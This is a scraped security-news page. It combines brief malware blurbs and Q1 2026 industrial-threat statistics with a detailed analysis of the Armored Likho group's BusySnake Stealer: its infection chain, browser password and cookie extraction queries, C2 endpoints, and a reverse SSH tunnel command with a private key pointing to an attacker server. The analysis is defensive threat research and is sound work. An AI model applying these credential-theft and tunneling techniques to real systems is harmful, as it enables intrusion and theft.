RedHook malware uses fake banking and government apps to steal data and control Android phones, with attacks confirmed in Vietnam and Indonesia so far.

The post Fake Bank Apps Let Scammers Control Android Phones in Southeast Asia appeared first on TechRepublic.

RedHook malware uses fake banking and government apps to steal data and control Android phones, with attacks confirmed in Vietnam and Indonesia so far.

The post Fake Bank Apps Let Scammers Control Android Phones in Southeast Asia appeared first on TechRepublic.

Dr.Web details Siggen Windows backdoor that uses Steam for C2, steals credentials and crypto data and infects Visual Studio projects to spread among developers.

All threats

The percentage of ICS computers on which malicious objects were blocked continued to decrease, reaching 19.6% in Q1 2026. This is the lowest value in three years, and it is 1.4 times lower than in Q2 2023.

Regionally, the percentages ranged from 9.1% in Northern Europe to 27.4% in Africa.

The percentage of ICS computers on which malicious objects were blocked increased in five regions over the quarter, most notably in Southern Europe, Northern Europe, and Russia.

In Q1 2026, Southern Europe led the way in growth for internet and email threats. The region also saw the fastest growth in spyware, as well as malicious scripts and phishing pages.

In Russia, the percentage of ICS computers on which malicious objects were blocked exceeded the figures for the previous two quarters. Russia saw an increase in the percentage for threats from the internet, and a slight increase in the figure for threats from email clients (Russia is one of three regions where this figure did not decrease).

Among the threat categories, the greatest increases were observed in the percentages for denylisted internet resources, as well as spyware (distributed in the region via the internet and email clients).

Selected industries

Biometric systems (26.4%) traditionally rank top among the industries and OT infrastructure types covered in this report in terms of the percentage of ICS computers on which malicious objects were blocked. These systems are characterized by internet access, extensive email use for data exchange and approvals (such as access granting), and, in many cases, minimal cybersecurity controls within the organizations that use these systems.

Biometric systems rank first among industries in terms of email threats. At the same time, unlike other industries, the percentage for email threats in biometric systems exceeds that for internet threats.

In all selected industries, the global average follows a downward trend. In Q1 2026, the percentage of ICS computers on which malicious objects were blocked increased only in the manufacturing sector — by 1.0 pp. The percentages for this industry increased across 10 regions, with the most notable increases in Western Europe, Northern Europe, and Russia.

Threat categories

In Q1 2026, Kaspersky security solutions blocked malware from 10,052 different malware families of various categories on industrial automation systems.

Over the quarter, the percentage of ICS computers on which denylisted internet resources were blocked increased (after decreasing over the previous two quarters), and there was a slight increase in the percentage for AutoCAD malware.

Malicious scripts and phishing pages (JS and HTML)

Malicious scripts and phishing pages retained their to spot among threat categories by the percentage of ICS computers on which these threats were blocked. The global average in Q1 2026 was 6.56%.

Over the quarter, the percentages increased in four regions. The most significant change was observed in Southern Europe (9.85%, +0.94 pp). The figures for malicious scripts in the region increased over three consecutive quarters.

Among the selected industries, across all regions, the highest percentages for the malicious scripts and phishing pages category were recorded for biometric systems (19.59%) and building automation (15.43%) in Southern Europe. These same industries lead in similar rankings for malicious documents and spyware.

Spyware

The percentage of ICS computers on which spyware was blocked decreased over two consecutive quarters, dropping to 3.73%. Despite the decline, spyware has ranked second among threat categories by the percentage of attacked computers for three consecutive quarters.

The percentages increased in five regions over the quarter, most notably in Southern Europe (5.46%, +0.35 pp) and Russia (2.84%, +0.24 pp).

In Southern Europe, the percentage of ICS computers on which spyware was blocked increased in all the selected industries except manufacturing. The greatest increase was observed in biometric systems.

Among the selected industries, the highest percentage of spyware in Russia was recorded in biometric systems. That said, the percentage of ICS computers on which spyware was blocked increased in all industries in the region except construction. The percentage figure has been increasing for two consecutive quarters in the oil and gas industry (by a factor of 1.63 over six months), and for three consecutive quarters in engineering and ICS integration, as well as electric power. In the remaining sectors, the values have been fluctuating.

Denylisted internet resources

The percentage of ICS computers on which denylisted internet resources were blocked increased to 3.54%.

The most notable increase over the quarter occurred in Southeast Asia (4.58%, +0.65 pp). Among the industries in the region, the highest percentage figures for this threat category were recorded in electric power and construction. Over the quarter, the largest increases in percentages figures were observed in the electric power and manufacturing industries.

In North America (Canada), denylisted internet resources (2.14%) showed the greatest increase among all categories — by a factor of 1.22.

Among the selected industries across all regions, the highest percentage figures for the denylisted internet resources category were in the electric power (7.11%) and construction (6.25%) industries in Southeast Asia.

Malicious documents (Microsoft Office + PDF)

The percentage figure for this category decreased over two consecutive quarters, reaching its lowest value (1.56%) for the entire period of observations in Q1 2026. It increased just in two regions: Australia and New Zealand (1.12%, +0.04 pp), and Russia (0.62%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for malicious documents were recorded for biometric systems (9.02%) and building automation (6.97%) in Southern Europe. These same industries also lead in similar rankings for malicious scripts and spyware.

Ransomware

The percentage of ICS computers on which ransomware was blocked has decreased for two consecutive quarters, dropping to 0.14%. This is the lowest value among all categories.

The percentage increased in two regions: North America (Canada) (0.11%, +0.04 pp) and slightly in Northern Europe (0.06%, +0.01 pp).

Among the selected industries across all regions, the highest percentages for ransomware were recorded in the oil and gas and manufacturing industries (0.92% and 0.65%, respectively) in Central Asia and the South Caucasus, and in biometric systems (0.89%) in Russia.

Miners in the form of executable files for Windows

The percentage of ICS computers on which miners in the form of executable files for Windows were blocked decreased to 0.59%.

The percentage increased in seven regions. The largest increase was observed in Africa (0.63%, +0.16 pp). Among the selected industries, the largest increases in the region were in the manufacturing and oil and gas industries.

Among the selected industries across all regions, the highest percentages for miners in the form of executable files were recorded in construction (1.99%), biometric systems (1.98%), and the oil and gas industry (1.97%) in Central Asia and the South Caucasus.

Web miners

The percentage of ICS computers on which web miners were blocked has been declining for a year, and in Q1 2026, it reached the lowest value for the entire period under review (0.22%).

At the same time, the percentage increased in seven regions. The largest increases were observed in South Asia (0.28%, +0.11 pp), the Middle East (0.31%, +0.09 pp), and Africa (0.34%, +0.08 pp). Despite the increases, the percentages in these regions for Q1 2026 did not exceed those observed in 2023–2024 and in Q1 2025.

Among the selected industries across all regions, the highest percentages for web miners were recorded for biometric systems (0.97%) in Russia. Biometric systems in South Asia (0.79%) ranked second, and the electric power sector in Southeast Asia (0.76%) ranked third.

Worms

The percentage of ICS computers on which worms were blocked decreased to 1.33%.

The percentage decreased across all regions following an increase in the previous quarter (due to a wave of phishing attacks that distributed the Backdoor.MSIL.XWorm backdoor worm across all regions of the world).

Among the selected industries across all regions, the highest percentage figure for worms was recorded for biometric systems (4.80%) in Central Asia and the South Caucasus. Two industries in Africa – biometric systems (4.04%) and electric power (3.53%) – took the second and third spots, respectively.

Viruses

The percentage of ICS computers on which viruses were blocked decreased to 1.31%.

The top 3 regions by this figure remained the same: Southeast Asia (6.11%, first by a wide margin), Africa (4.15%), and East Asia (2.97%). These same regions are also among the leaders by the percentage of systems affected by AutoCAD malware. The largest increase in this figure was observed in Africa (+0.41 pp).

Among the selected industries across all regions, the highest percentages for viruses were recorded in the construction industry (6.35%) and building automation (5.50%) in Southeast Asia.

Malware for AutoCAD

The percentage of ICS computers on which malware for AutoCAD was blocked increased to 0.30%.

The most notable increase over the quarter was observed in Africa, with the region’s percentage figure rising by 0.47 pp, a very significant increase for this category, and almost doubling (to 0.91%).

Among the selected industries across all regions, the highest percentages for AutoCAD malware were recorded in the construction industry in East Asia (5.58%) and Southeast Asia (3.87%).

Main threat sources

In Q1 2026, the average percentages across all threat sources, except threats from the internet, decreased globally.

Internet

The percentage of ICS computers on which threats from the internet were blocked increased to 7.88%. However, over the past three years, the percentage figure for internet threats has followed a downward trend.

The largest increases in the percentages were recorded in Southern Europe (8.59%, +0.59 pp), Southeast Asia (10.16%, +0.55 pp), and Northern Europe (4.47%, +0.51 pp).

Among the selected industries across all regions, the highest percentages for threats from the internet were recorded in electric power (13.16%) and construction (12.55%) in Southeast Asia, and in the engineering and ICS integration sector (12.33%) in South Asia.

Email clients

The percentage of ICS computers on which threats delivered via email clients were blocked decreased to 2.59%. This is a three-year low.

The percentage of this threat source increased in three regions: Southern Europe (6.54%, +0.2 pp), East Asia (1.5%, +0.09 pp), and slightly in Russia (0.7%, +0.04 pp).

Among the selected industries across all regions, the highest percentages for email threats were recorded for biometric systems (19.78%) and building automation (12.34%) in Southern Europe. In these two industries, the percentage of ICS computers on which email threats are blocked is higher than the percentage for threats from the internet. A similar situation was observed in two other instances, both in biometric systems (in South America and Southeast Asia).

Removable media

The percentage of ICS computers on which threats were detected when connecting removable media continued to decrease, reaching its lowest value for the period under review (0.26%).

Among the selected industries across all regions, the highest percentages for removable media threats blocked on ICS computers were observed in the electric power sector in Central Asia and the South Caucasus (1.45%), East Asia (1.34%), and Africa (1.16%).

Network folders

The percentage of ICS computers on which threats are blocked in network folders is steadily decreasing. In Q1 2026, it was the lowest for the period under review (0.029%).

East Asia has traditionally led by a wide margin. The percentage for East Asia (0.135%) is 27 times higher than the lowest regional value (recorded in Northern Europe).

The largest increases in the percentages for threats from network folders were observed in Africa (0.037%, +0.006 pp) and South America (0.013%, +0.006 pp).
Among the selected industries across all regions, the construction industry in East Asia, at 0.36%, holds the top positions in the ranking by the percentage of ICS computers on which threats are blocked in network folders.

For more information on industrial threats see the full version of the report.

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name	Description
single_instance_lock	Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger	Steals data from the system clipboard.
start_inventory_background	Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file	Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background	Forwards user documents to the C2 server.
take_screenshot	Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs	Archives captured screenshots and purges previously created archives from the disk.
poll_task	Waits for incoming C2 commands to execute.
ensure_schtask	Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name	Description
handle_send_screenshots_command	Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log	Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords	Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords	Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies	Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command	Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command	Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command	Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command	Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
handle_start_proxy_command / handle_stop_proxy_command	Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host.
handle_remote_control_command	Checks for an active installation of RustDesk on the endpoint. If missing, it downloads the application from GitHub. If already present, it restarts the RustDesk process to prompt the user to re-enter their ID and password, grabs a screenshot of the credentials, and exfiltrates the captured data to the C2 server.

After executing each command, the stealer sends a report back to the C2 server containing the task completion status.

POST /report_status HTTP/1.1
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 90
Content-Type: application/json
{"client_id": "DESKTOP-[redacted]", "command": "send_found_keys", "status": "ok", "note": ""}

Password exfiltration from Firefox and Chromium-based browsers

When BusySnake Stealer receives a C2 command to harvest passwords from Chromium-based browsers, it passes the task to the handle_extract_chromium_passwords function. The malware locates the specific browser data directory, verifies that it is not empty, and targets the Login State file, which contains the master key used to encrypt the local password database.

The master key is protected via the Windows Data Protection API (DPAPI). By operating within the security context of the user who originally encrypted the key, the stealer is able to decrypt it using the win32crypt.CryptUnprotectData() function.

Then, user accounts are extracted from the browser database via an SQL query, while passwords remain encrypted.

SELECT origin_url, username_value, password_value FROM logins

Next, the passwords are decrypted using a master key and saved in plaintext to the Roaming\WindowsHelper\chromium_passwords.json file.

For Firefox, the exfiltration workflow follows a similar logic. The stealer receives a command to extract browser credentials, which is then processed by the handle_extract_firefox_passwords function. The implant then scans the Mozilla\Firefox\Profiles directory and checks each user profile for the presence of both logins.json and key4.db. If either file is missing, the profile is skipped. The malware then parses the contents of logins.json, extracting the hostname, encryptedUsername, and encryptedPassword fields from each entry.

The extracted data is placed into a SECItem structure. Upon calling the NSS_Init() function, the NSS library — which Firefox relies on — automatically initializes its built-in cryptographic module and accesses the key4.db database. If the database is not protected by a master password, the module loads the signing key stored within it. In this scenario, the PK11SDR_Decrypt() function can successfully decrypt the credentials without requiring any user prompts or additional steps. Thus, BusySnake Stealer exploits insecure Firefox browser practices: storing the database master key in plaintext and the lack of re-authentication when decrypting data with it.

The decrypted credentials are saved directly to the Roaming\WindowsHelper\firefox_passwords.json file.

Cookie extraction

The stealer harvests cookies using a workflow nearly identical to its browser credential theft routine. Upon receiving the handle_collect_and_send_cookies command from the C2 server, the malware triggers the corresponding function. It then scans browser directories for the following database files: Cookies for Chromium-based browsers and cookies.sqlite for Firefox. Once located, it uses SQL queries to extract the cookies.

For Chromium-based browsers, the malware executes the following query:

SELECT host_key, name, value, encrypted_value, path, expires_utc FROM cookies

For Firefox, it uses this query:

SELECT host, name, value, path, expiry FROM moz_cookies

All harvested data is decrypted and saved to a file located at Roaming\WindowsHelper\all_browser_data.json, which is then exfiltrated to the C2 server and wiped from the host.

In addition to this method, the stealer fetches a supplementary module designed to extract cookies by installing a browser extension. Upon receiving the appropriate directive, the malware executes the handle_extract_cookies_v7_command function. It then pulls down the additional module as an archive from the Releases page of a GitHub repository, mirroring the initial staging process used by the stealer itself.

The source code of this secondary module is also protected with PyArmor. Once executed, the module spins up a local web server to capture and parse the cookies extracted from the browser. Next, the module creates the files for a browser extension used to steal cookies:

• manifest.json: details the extension structure and required permissions
• sw.js: contains the primary execution logic for the extension

Once these components are staged, the extension is installed into the browser.

To ensure Google Chrome launches with the extension installed, the module uses specific arguments to start the browser.

Once active, the extension verifies the availability of the local web server initialized during the previous stage. If the server is responsive, the extension reads the cookie data, stores it in a cookiesData object, and transmits it to the following URL:

http://127.0.0.1:8000/?data_type=c

The local server processes the incoming payload, saves it to a file named extracted_cookies.json, and subsequently exfiltrates it to the C2 server.

Reverse SSH tunneling

The group previously used a Go-based tool for creating reverse SSH tunnels, named Go2Tunnel by researchers. BusySnake Stealer implements a similar feature as a built-in function.

The implant receives a directive from the C2 server to establish a reverse SSH tunnel, routing the task to the handle_start_proxy_command function. The stealer initially sends a request to the following URL, appending the victim’s unique machine identifier to the request parameters:

https://grked[.]online/tunnel/create/?username=[redacted]

If the configuration specifies an HTTP endpoint instead of HTTPS, the URL format adjusts as follows:

http://grked[.]online:8000/tunnel/create/?username=[redacted]

In response, the server returns data containing all the parameters required to establish the tunnel.

{"username":"[redacted]","socks_host":"159.198.32[.]222","socks_port":26380,"private_key":
"BEGIN OPENSSH PRIVATE KEY\								nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\nQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQ								sMTd5TjQRAAAAJhSGysYUhsr\nGAAAAAtzc2gtZWQyNTUxOQAAACDLcOYV2VpiBmn6KfPcA7w5k4LXxnDSUHwQsMTd5TjQRA\nAAAEDHFs74hGkvUfzK/gL								hfXdilmEnVbyD8V3Aqj5LRQdJJstw5hXZWmIGafop89wDvDmT\ngtfGcNJQfBCwxN3lONBEAAAAEXJvb3RAZjM3YzRjNjE4NjJjAQIDBA==\n
END OPENSSH PRIVATE KEY\n",
"ssh_command":"ssh -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 2222 -R 0.0.0.0:26380 [redacted]@159.198.32[.]222"}

The malware extracts the private key and the specific SSH command from this response. Using these components, it initiates a connection to a remote server controlled by the attackers, granting them persistent remote access and interactive control over the compromised host.

To close the tunnel, the stealer receives the handle_stop_proxy_command command and processes it with the function of the same name, after which the private key file is deleted and the associated SSH process is terminated.

New version of the BusySnake Stealer

During our infrastructure analysis of the threat actor, we uncovered a newer iteration of the stealer. The distribution method and static obfuscation mechanism remained unchanged; however, Armored Likho modified their TTPs and altered the code structure of BusySnake Stealer.

In the new version, instead of calling schtasks directly, the malware uses the win32com.client library to create scheduled tasks through interaction with the Schedule.Service COM object, indicating a shift toward less detectable execution methods.

This approach ensures a more stealthy persistence mechanism. Furthermore, to bypass dynamic analysis mechanism, the authors added a function that pauses execution before triggering malicious routines.

We also observed refinements to the architectural design of BusySnake Stealer. The attackers built a new task-management framework to handle incoming C2 commands. Each task is assigned a unique identifier, and before execution, the stealer checks for the presence of this task in a specified list. To track execution states in real time, tasks are dynamically assigned one of four operational statuses: SCHEDULED, IN_PROGRESS, SUCCEEDED, or FAILED.

The introduction of task execution statuses resulted in an updated C2 communication schema. The updated endpoints and request packet structure are detailed in the table below:

Handler Name	Endpoint	Request body	Description
poll_commands	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/?bid={Config.BUILD_ID}	–	Awaits new commands for execution
poll_tasks	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/tasks/?bid={Config.BUILD_ID}	–	Awaits Python scripts for execution
set_task_status	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/commands/{task_id}/	{ ‘status’: status, ‘logs’: logs }	Transmits task status updates
upload_file_once	{Config.DASHBOARD_URL}/api/v1/client/ {Config.CLIENT_ID}/files/	{ ‘file’:(file_name,io.BytesIO(text.encode(‘utf8’), ‘text/plain; charset=utf8’) } meta= { ‘name’: file_name, ‘file_type’: file_type, ‘task_id’:task_id }	File exfiltration to the C2

One of the most significant architectural upgrades is the introduction of a dedicated class designed to execute arbitrary Python scripts. In this updated variant of the stealer, the poll_commands function is responsible for retrieving commands from the C2 server, while the poll_tasks routine is specifically dedicated to fetching Python scripts. Before running a retrieved script, the malware dynamically installs any required dependencies via pip. It then spawns a new process and executes the script’s code directly within memory without ever writing the file to disk — a technique intended to bypass security.

Attribution

We attribute this campaign to the Armored Likho threat group with medium confidence, basing our assessment on the analysis of the tools and network activity.

1. In previously identified campaigns, the group used the Go2Tunnel tool designed to create reverse SSH tunnels. In BusySnake Stealer, similar functionality is implemented as a built-in feature. Both tools receive a tunnel establishment command and a private SSH key from the C2 server, while making requests to similar endpoints. Furthermore, both payloads initiate their tunnels using SSH commands with an identical set of arguments:
   

   -N -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p {port}  -R 0.0.0.0:{port} {name}@{IPaddress}

2. The Armored Likho group has historically deployed the AquilaRAT remote access Trojan. It shares a similar structure with BusySnake Stealer: the malware receives tasks from the C2 server, and their execution is carried out by dedicated handlers. Additionally, BusySnake Stealer and AquilaRAT utilize similar endpoints for C2 communications — for example, when reporting task execution statuses back to the server:
   AquilaRAT
   

   /backup/update-subtask-status  
   {
        <..>
        'clientId': clientId,
        'subTasks': [
               <..>
              'taskItemId': taskItemId
        ]
   }

   
   BusySnake Stealer
   

   {Config.DASHBOARD_URL}/api/v1/client/{Config.CLIENT_ID}/tasks/{task_id}/

3. Another structural overlap is seen in their persistence mechanisms. Both BusySnake Stealer and AquilaRAT maintain their footprint on compromised hosts by registering scheduled tasks that masquerade as legitimate Microsoft system utilities. While AquilaRAT typically names its task MicrosoftOfficeUpdate, BusySnake Stealer uses the name WindowsHelper.

Victims

We continue to actively monitor the ongoing deployment campaigns of BusySnake Stealer, alongside its related artifacts and network infrastructure.
To date, confirmed victims have been identified across Russia, Kazakhstan, and Brazil. The attacks are primarily focused on the governmental and electrical power infrastructure sectors.

Takeaways

An analysis of Armored Likho’s campaigns over the past few months shows a trend toward using AI tools to generate first-stage payloads, as indicated by redundant comments and code blocks. This allows the group to broaden its available attack vectors.

In parallel, the group is aggressively refining and modifying its core toolkit. While Go2Tunnel previously operated as a standalone utility, its reverse-tunneling functionality has now been integrated directly into the stealer as a built-in feature that ingests parameters from the C2 server. Furthermore, the structural design of this newly discovered stealer shares pronounced architectural overlaps with AquilaRAT, another staple tool in the group’s arsenal.

At the time of writing, Armored Likho remains highly active. Despite the evolution of their malware variants and their efforts to obfuscate their TTPs, we continue to closely monitor the group’s footprint and detect emerging campaigns.

Detection by Kaspersky solutions

Kaspersky security solutions, including Kaspersky Endpoint Detection and Response Expert, successfully detect and block the malicious activity associated with these attacks.

Defensive solutions detect the threat actor’s activity at the initial stage when the LNK downloader is executed. Upon execution, the shortcut runs an obfuscated command via rundll32.exe, which subsequently triggers a PowerShell command to pull down the second-stage payload. This malicious chain of events is caught by the following detection rules:

• shell_creation_by_rundll32
• windows_command_shell_usage
• suspicious_powershell_cmd_or_script_spawning

Example of LNK downloader detection in KEDR

The Kaspersky Cloud Sandbox solution can be used for a comprehensive analysis of the malicious activity described here. The figure below shows the Kaspersky Cloud Sandbox interface, demonstrating the event chain of the obfuscated command execution by the LNK downloader.

Additionally, inside Kaspersky Cloud Sandbox, it can be observed that during execution the stealer contacts remote URLs to download additional files, specifically a DOCX decoy document as well as the web_script.txt stager.

If the EXE dropper is executed, Kaspersky Cloud Sandbox also records the downloading of additional tools from a GitHub repository.

Furthermore, dynamic analysis results show that the sample writes an additional file to the disk, which is used in subsequent stages of the attack.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

First-stage malicious files

5D5C3E483C5E544260CE98FC29FBF192 PS1 stager
7141917CBA2EEE2B4D31107FACCF3A39 EXE stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
C019797A00FD56EDB1F468AC0A598510 BAT stager
A0EC7A8E61EFF3F445A7455B3AEF9FBB BAT stager
F5C6434EE5F7578FAA3BC1257E1C9226 EXE stager
7DB9C688C620E54E8C69B7E52A7579FB BAT stager

90378881856ABFA47D7745C0A3EF9DC8 RAR archive with advanced cookie extractor module

1DBA3E505491A260A44C867902C3296E RAR archive with malicious DLL loader

1096268FA2B3D454C86CF851CB782319 EXE dropper
F2AB09D7E7A375A192508A5014AA2EE4 EXE dropper
0041FD1B2358CD08DBCBC28EA8FC3D20 EXE dropper

894332174F536C2E1EFEDA05CBA79F8B DLL loader
78135F72AB148A0CC074F6B2DD51FFF6 DLL loader
07213C419489C02791E8D67B91E404EF DLL loader

393B498F2114CABC0B29D5FCD9DC6723 LNK
CF74AC018D158EA2C2CFA1B1D71D95BC LNK
